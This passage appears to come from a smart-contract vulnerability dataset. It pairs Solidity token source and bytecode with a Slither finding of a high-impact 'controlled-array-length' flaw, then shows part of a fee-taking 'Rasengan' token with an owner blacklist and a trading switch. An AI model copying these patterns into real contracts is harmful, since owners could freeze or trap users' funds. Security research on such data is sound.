emit Unlock(_holder, lockInfo[_holder][i].balance);
lockInfo[_holder][i].balance = 0;
if (i != lockInfo[_holder].length - 1) {
lockInfo[_holder][i] = lockInfo[_holder][lockInfo[_holder].length - 1];
i--;
}
lockInfo[_holder].length--;
}
}
}
function lockCount(address _holder) public view returns (uint256) {
return lockInfo[_holder].length;
}
function lockState(address _holder, uint256 _idx) public view returns (uint256, uint256) {
return (lockInfo[_holder][_idx].releaseTime, lockInfo[_holder][_idx].balance);
}
function lock(address _holder, uint256 _amount, uint256 _releaseTime) public onlyOwner {
require(super.balanceOf(_holder) >= _amount, "Balance is too small.");
_balances[_holder] = _balances[_holder].sub(_amount);
lockInfo[_holder].push(
LockInfo(_releaseTime, _amount)
);
emit Lock(_holder, _amount, _releaseTime);
}
function unlock(address _holder, uint256 i) public onlyOwner {
require(i < lockInfo[_holder].length, "No lock information.");
_balances[_holder] = _balances[_holder].add(lockInfo[_holder][i].balance);
emit Unlock(_holder, lockInfo[_holder][i].balance);
lockInfo[_holder][i].balance = 0;
if (i != lockInfo[_holder].length - 1) {
lockInfo[_holder][i] = lockInfo[_holder][lockInfo[_holder].length - 1];
}
lockInfo[_holder].length--;
}
function transferWithLock(address _to, uint256 _value, uint256 _releaseTime) public onlyOwner returns (bool) {
require(_to != address(0), "wrong address");
require(_value <= super.balanceOf(owner), "Not enough balance");
_balances[owner] = _balances[owner].sub(_value);
lockInfo[_to].push(
LockInfo(_releaseTime, _value)
);
emit Transfer(owner, _to, _value);
emit Lock(_to, _value, _releaseTime);
return true;
}
}
|
0x608060405234801561001057600080fd5b506004361061018e5760003560e01c80638456cb59116100de578063a9059cbb11610097578063df03458611610071578063df034586146104f7578063e2ab691d1461051d578063e58398361461054f578063f2fde38b146105755761018e565b8063a9059cbb1461046b578063dd62ed3e14610497578063de6baccb146104c55761018e565b80638456cb59146103c15780638d1fdf2f146103c95780638da5cb5b146103ef57806395d89b41146101935780639dc29fac14610413578063a457c2d71461043f5761018e565b8063395093511161014b57806346cf1bb51161012557806346cf1bb5146103225780635c975abb1461036757806370a082311461036f5780637eee288d146103955761018e565b806339509351146102c65780633f4ba83a146102f257806345c8b1a6146102fc5761018e565b806306fdde0314610193578063095ea7b31461021057806318160ddd1461025057806323b872dd1461026a578063313ce567146102a0578063378dc3dc146102be575b600080fd5b61019b61059b565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101d55781810151838201526020016101bd565b50505050905090810190601f1680156102025780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61023c6004803603604081101561022657600080fd5b506001600160a01b0381351690602001356105c2565b604080519115158252519081900360200190f35b6102586105d8565b60408051918252519081900360200190f35b61023c6004803603606081101561028057600080fd5b506001600160a01b038135811691602081013590911690604001356105df565b6102a86106c6565b6040805160ff9092168252519081900360200190f35b6102586106cb565b61023c600480360360408110156102dc57600080fd5b506001600160a01b0381351690602001356106dd565b6102fa61071e565b005b6102fa6004803603602081101561031257600080fd5b50356001600160a01b031661080b565b61034e6004803603604081101561033857600080fd5b506001600160a01b0381351690602001356108b4565b6040805192835260208301919091528051918290030190f35b61023c61092d565b6102586004803603602081101561038557600080fd5b50356001600160a01b031661093d565b6102fa600480360360408110156103ab57600080fd5b506001600160a01b0381351690602001356109d7565b6102fa610c85565b6102fa600480360360208110156103df57600080fd5b50356001600160a01b0316610d6e565b6103f7610e1a565b604080516001600160a01b039092168252519081900360200190f35b6102fa6004803603604081101561042957600080fd5b506001600160a01b038135169060200135610e29565b61023c6004803603604081101561045557600080fd5b506001600160a01b038135169060200135610f27565b61023c6004803603604081101561048157600080fd5b506001600160a01b038135169060200135610f63565b610258600480360360408110156104ad57600080fd5b506001600160a01b0381358116916020013516611035565b61023c600480360360608110156104db57600080fd5b506001600160a01b038135169060208101359060400135611060565b6102586004803603602081101561050d57600080fd5b50356001600160a01b031661127d565b6102fa6004803603606081101561053357600080fd5b506001600160a01b038135169060208101359060400135611298565b61023c6004803603602081101561056557600080fd5b50356001600160a01b0316611407565b6102fa6004803603602081101561058b57600080fd5b50356001600160a01b0316611425565b604051806040016040528060088152602001600160c01b6742554c4c444f47450281525081565b60006105cf338484611482565b50600192915050565b6002545b90565b600354600090600160a01b900460ff16156106395760408051600160e51b62461bcd02815260206004820152600f6024820152600160891b6e2830bab9b2b210313c9037bbb732b902604482015290519081900360640190fd5b6001600160a01b03841660009081526004602052604090205460ff16156106aa5760408051600160e51b62461bcd02815260206004820152601760248201527f46726f6d206163636f756e74206973206c6f636b65642e000000000000000000604482015290519081900360640190fd5b6106b384611574565b6106be848484611797565b949350505050565b601281565b6d314dc6448d9338c15b0a0000000081565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916105cf918590610719908663ffffffff6117e916565b611482565b6003546001600160a01b0316331461076f5760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b600354600160a01b900460ff166107d05760408051600160e51b62461bcd02815260206004820152600e60248201527f4e6f7420706175736564206e6f77000000000000000000000000000000000000604482015290519081900360640190fd5b60038054600160a01b60ff02191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b6003546001600160a01b0316331461085c5760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b6001600160a01b038116600081815260046020908152604091829020805460ff19169055815192835290517f4feb53e305297ab8fb8f3420c95ea04737addc254a7270d8fc4605d2b9c61dba9281900390910190a150565b6001600160a01b03821660009081526005602052604081208054829190849081106108db57fe5b600091825260208083206002909202909101546001600160a01b03871683526005909152604090912080548590811061091057fe5b906000526020600020906002020160010154915091509250929050565b600354600160a01b900460ff1681565b600080805b6001600160a01b0384166000908152600560205260409020548110156109b6576001600160a01b038416600090815260056020526040902080546109ac91908390811061098b57fe5b906000526020600020906002020160010154836117e990919063ffffffff16565b9150600101610942565b506109d0816109c485611846565b9063ffffffff6117e916565b9392505050565b6003546001600160a01b03163314610a285760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b6001600160a01b0382166000908152600560205260409020548110610a975760408051600160e51b62461bcd02815260206004820152601460248201527f4e6f206c6f636b20696e666f726d6174696f6e2e000000000000000000000000604482015290519081900360640190fd5b6001600160a01b03821660009081526005602052604090208054610af9919083908110610ac057fe5b60009182526020808320600160029093020191909101546001600160a01b0386168352908290526040909120549063ffffffff6117e916565b6001600160a01b03831660008181526020818152604080832094909455600590529190912080547f6381d9813cabeb57471b5a7e05078e64845ccdb563146a6911d536f24ce960f1919084908110610b4d57fe5b9060005260206000209060020201600101546040518082815260200191505060405180910390a26001600160a01b0382166000908152600560205260408120805483908110610b9857fe5b60009182526020808320600160029093020191909101929092556001600160a01b038416815260059091526040902054600019018114610c57576001600160a01b038216600090815260056020526040902080546000198101908110610bfa57fe5b906000526020600020906002020160056000846001600160a01b03166001600160a01b031681526020019081526020016000208281548110610c3857fe5b6000918252602090912082546002909202019081556001918201549101555b6001600160a01b0382166000908152600560205260409020805490610c80906000198301611b88565b505050565b6003546001600160a01b03163314610cd65760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b600354600160a01b900460ff1615610d2d5760408051600160e51b62461bcd02815260206004820152600f6024820152600160891b6e2830bab9b2b210313c9037bbb732b902604482015290519081900360640190fd5b60038054600160a01b60ff021916600160a01b1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b6003546001600160a01b03163314610dbf5760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b6001600160a01b038116600081815260046020908152604091829020805460ff19166001179055815192835290517f8a5c4736a33c7b7f29a2c34ea9ff9608afc5718d56f6fd6dcbd2d3711a1a49139281900390910190a150565b6003546001600160a01b031681565b6003546001600160a01b03163314610e7a5760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b610e8382611846565b811115610eda5760408051600160e51b62461bcd02815260206004820152601560248201527f42616c616e636520697320746f6f20736d616c6c2e0000000000000000000000604482015290519081900360640190fd5b610ee48282611861565b6040805182815290516001600160a01b038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a25050565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916105cf918590610719908663ffffffff61192b16565b3360009081526004602052604081205460ff1615610fcb5760408051600160e51b62461bcd02815260206004820152601960248201527f53656e646572206163636f756e74206973206c6f636b65642e00000000000000604482015290519081900360640190fd5b600354600160a01b900460ff16156110225760408051600160e51b62461bcd02815260206004820152600f6024820152600160891b6e2830bab9b2b210313c9037bbb732b902604482015290519081900360640190fd5b61102b33611574565b6109d0838361198b565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6003546000906001600160a01b031633146110b45760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b6001600160a01b0384166111125760408051600160e51b62461bcd02815260206004820152600d60248201527f77726f6e67206164647265737300000000000000000000000000000000000000604482015290519081900360640190fd5b600354611127906001600160a01b0316611846565b83111561117e5760408051600160e51b62461bcd02815260206004820152601260248201527f4e6f7420656e6f7567682062616c616e63650000000000000000000000000000604482015290519081900360640190fd5b6003546001600160a01b03166000908152602081905260409020546111a9908463ffffffff61192b16565b600380546001600160a01b039081166000908152602081815260408083209590955588831680835260058252858320865180880188528981528084018b81528254600181810185559387529585902091516002909602909101948555519301929092559254845188815294519194921692600080516020611cf7833981519152928290030190a3604080518481526020810184905281516001600160a01b038716927f49eaf4942f1237055eb4cfa5f31c9dfe50d5b4ade01e021f7de8be2fbbde557b928290030190a25060019392505050565b6001600160a01b031660009081526005602052604090205490565b6003546001600160a01b031633146112e95760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b816112f384611846565b10156113495760408051600160e51b62461bcd02815260206004820152601560248201527f42616c616e636520697320746f6f20736d616c6c2e0000000000000000000000604482015290519081900360640190fd5b6001600160a01b038316600090815260208190526040902054611372908363ffffffff61192b16565b6001600160a01b0384166000818152602081815260408083209490945560058152838220845180860186528681528083018881528254600181810185559386529484902091516002909502909101938455519201919091558251858152908101849052825191927f49eaf4942f1237055eb4cfa5f31c9dfe50d5b4ade01e021f7de8be2fbbde557b92918290030190a2505050565b6001600160a01b031660009081526004602052604090205460ff1690565b6003546001600160a01b031633146114765760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b61147f81611998565b50565b6001600160a01b0383166114ca57604051600160e51b62461bcd028152600401808060200182810382526024815260200180611d5d6024913960400191505060405180910390fd5b6001600160a01b03821661151257604051600160e51b62461bcd028152600401808060200182810382526022815260200180611cd56022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b60005b6001600160a01b038216600090815260056020526040902054811015611793576001600160a01b03821660009081526005602052604090208054429190839081106115be57fe5b9060005260206000209060020201600001541161178b576001600160a01b038216600090815260056020526040902080546115fe919083908110610ac057fe5b6001600160a01b03831660008181526020818152604080832094909455600590529190912080547f6381d9813cabeb57471b5a7e05078e64845ccdb563146a6911d536f24ce960f191908490811061165257fe5b9060005260206000209060020201600101546040518082815260200191505060405180910390a26001600160a01b038216600090815260056020526040812080548390811061169d57fe5b60009182526020808320600160029093020191909101929092556001600160a01b038416815260059091526040902054600019018114611760576001600160a01b0382166000908152600560205260409020805460001981019081106116ff57fe5b906000526020600020906002020160056000846001600160a01b03166001600160a01b03168152602001908152602001600020828154811061173d57fe5b600091825260209091208254600290920201908155600191820154910155600019015b6001600160a01b0382166000908152600560205260409020805490611789906000198301611b88565b505b600101611577565b5050565b60006117a4848484611a52565b6001600160a01b0384166000908152600160209081526040808320338085529252909120546117df918691610719908663ffffffff61192b16565b5060019392505050565b6000828201838110156109d05760408051600160e51b62461bcd02815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6001600160a01b031660009081526020819052604090205490565b6001600160a01b0382166118a957604051600160e51b62461bcd028152600401808060200182810382526021815260200180611d176021913960400191505060405180910390fd5b6002546118bc908263ffffffff61192b16565b6002556001600160a01b0382166000908152602081905260409020546118e8908263ffffffff61192b16565b6001600160a01b03831660008181526020818152604080832094909455835185815293519193600080516020611cf7833981519152929081900390910190a35050565b6000828211156119855760408051600160e51b62461bcd02815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b60006105cf338484611a52565b6001600160a01b0381166119f65760408051600160e51b62461bcd02815260206004820152600d60248201527f416c7265616479204f776e657200000000000000000000000000000000000000604482015290519081900360640190fd5b6003546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600380546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316611a9a57604051600160e51b62461bcd028152600401808060200182810382526025815260200180611d386025913960400191505060405180910390fd5b6001600160a01b038216611ae257604051600160e51b62461bcd028152600401808060200182810382526023815260200180611cb26023913960400191505060405180910390fd5b6001600160a01b038316600090815260208190526040902054611b0b908263ffffffff61192b16565b6001600160a01b038085166000908152602081905260408082209390935590841681522054611b40908263ffffffff6117e916565b6001600160a01b03808416600081815260208181526040918290209490945580518581529051919392871692600080516020611cf783398151915292918290030190a3505050565b815481835581811115610c8057600083815260209020610c80916105dc9160029182028101918502015b80821115611bcc5760008082556001820155600201611bb2565b5090565b6001600160a01b038216611c2e5760408051600160e51b62461bcd02815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b600254611c41908263ffffffff6117e916565b6002556001600160a01b038216600090815260208190526040902054611c6d908263ffffffff6117e916565b6001600160a01b038316600081815260208181526040808320949094558351858152935192939192600080516020611cf78339815191529281900390910190a3505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f2061646472657373ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef45524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a165627a7a72305820f8dd83bc3f773b349f732e6e07813c2c15d0918bc6f7b7a9759781d944763fe60029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 9,195 |
0x903f51438c1b39da5da400524da2c0ed29f68f5c
|
/**
*Submitted for verification at Etherscan.io on 2022-04-14
*/
// SPDX-License-Identifier: UNLICENSED
/*
rasengan.org
tg.me/rasenganeth
▓▓▓▓▓▓ ▓▓▓▓▓▓
▓▓ ░░▓▓▓▓ ▓▓▓▓▓▓
▓▓▓▓▓▓▓▓░░ ░░▓▓░░░░▓▓▓▓ ▓▓
▒▒▓▓░░ ▓▓░░░░░░░░░░░░▓▓░░░░▓▓
▒▒░░ ░░░░░░░░░░░░░░░░▓▓▓▓▒▒
▓▓░░░░░░░░░░░░░░░░░░░░▓▓░░▓▓
██████████ ▒▒▓▓░░░░▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓░░▓▓
██████ ██████ ▓▓▓▓▓▓▓▓▓▓▓▓▒▒ ▒▒▒▒▒▒▓▓▓▓
████ ████████▓▓▓▓▓▓▓▓▓▓▒▒ ▒▒ ▒▒▓▓
████ ██████░░ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
██████████░░ ░░░░░░██░░░░░░████
██████████ ██░░░░░░░░░░▒▒░░░░░░▒▒██
██████████ ██░░░░░░░░░░░░░░░░░░░░██
██████████ ████░░░░░░░░░░░░░░░░██
██████ ████░░░░░░▒▒▒▒░░██
████ ██▓▓██░░░░░░░░██
████ ████████▓▓▓▓████████
██ ████▓▓▓▓▓▓████████▓▓██████
██ ████▓▓▓▓▓▓▓▓▓▓██████▓▓██▓▓▓▓██
▓▓████▓▓▓▓██▓▓▓▓▓▓▓▓██▓▓██▓▓██▓▓▓▓
████████▓▓▓▓██▓▓▓▓▓▓▓▓██▓▓██▓▓██▓▓██
██▓▓▓▓▓▓▓▓████████████████▓▓██████▓▓██
██▓▓██▓▓▓▓████▒▒░░░░ ░░░░▓▓██▒▒██▓▓██
██▓▓▓▓██████████▒▒ ░░░░ ▓▓██▒▒██▓▓████
██▓▓▓▓▓▓████ ██▒▒░░ ░░░░▓▓██▒▒▒▒██████
██▓▓▓▓▓▓▓▓██ ██▒▒░░░░ ▓▓██▒▒▒▒██▓▓██
██▓▓▓▓▓▓▓▓██ ██▒▒░░░░░░░░░░░░▓▓██▒▒██▓▓██
██▓▓▓▓████▓▓██ ████▒▒░░ ░░░░▓▓██▒▒██▓▓▓▓██
██▓▓██░░░░██ ████████▓▓▓▓▓▓▓▓████████▓▓▓▓████
██░░░░████ ████████████████████████▓▓████░░████
██░░░░░░░░██ ██▒▒░░░░░░░░░░░░░░░░████▓▓██░░░░░░░░██
██░░░░░░░░░░██ ██░░ ░░░░░░░░░░░░░░░░████░░░░░░░░██
██░░░░░░░░░░██ ██▒▒░░░░ ░░░░██░░░░░░████░░░░░░██
██░░░░░░░░██ ██▒▒ ▒▒▒▒▒▒░░░░░░██░░░░░░░░████████
████████ ██████ ▒▒▒▒████░░████░░░░██
██ ████▒▒██ ████▒▒▒▒▒▒▒▒░░██
██░░░░░░ ▒▒▒▒██ ██▒▒▒▒▒▒▒▒░░░░██
██░░░░░░▒▒▒▒██ ██▒▒▒▒▒▒▒▒░░██
██░░░░░░▒▒▒▒▒▒██ ██▒▒▒▒▒▒▒▒░░██
██░░░░░░░░▒▒▒▒██ ██▒▒▒▒▒▒▒▒░░██
██░░░░░░▒▒▒▒▒▒██ ██▒▒▒▒▒▒▒▒░░██
██░░░░░░▒▒▒▒▒▒██ ██▒▒▒▒▒▒░░░░██
██░░░░░░▒▒▒▒▒▒██ ██▒▒▒▒▒▒▒▒░░██
██░░░░░░▒▒▒▒▒▒██ ██▒▒▒▒▒▒▒▒░░██
██░░▒▒▒▒▒▒██ ████████████
████████████ ████████
██▓▓▓▓████ ██▓▓▓▓██
████████████ ██▓▓██████████
██▓▓▓▓▓▓▓▓██ ██▓▓▓▓▓▓▓▓▓▓▓▓████
██▓▓▓▓▓▓▓▓▓▓██ ██████▓▓▓▓▓▓░░░░░░██
██▓▓░░░░░░░░████ ██████████████
██████████████
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Rasengan is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Rasengan";
string private constant _symbol = "Rasengan";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 12;
//Sell Fee
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 12;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x94A7631537821f35961d34A0a34318De2e8867d4);
address payable private _marketingAddress = payable(0x7b308eDe0bf14c74015032ECDEef7B9d5F30BAB7);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000 * 10**9; //1%
uint256 public _maxWalletSize = 50000 * 10**9; //5%
uint256 public _swapTokensAtAmount = 4000 * 10**9; //.4%
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
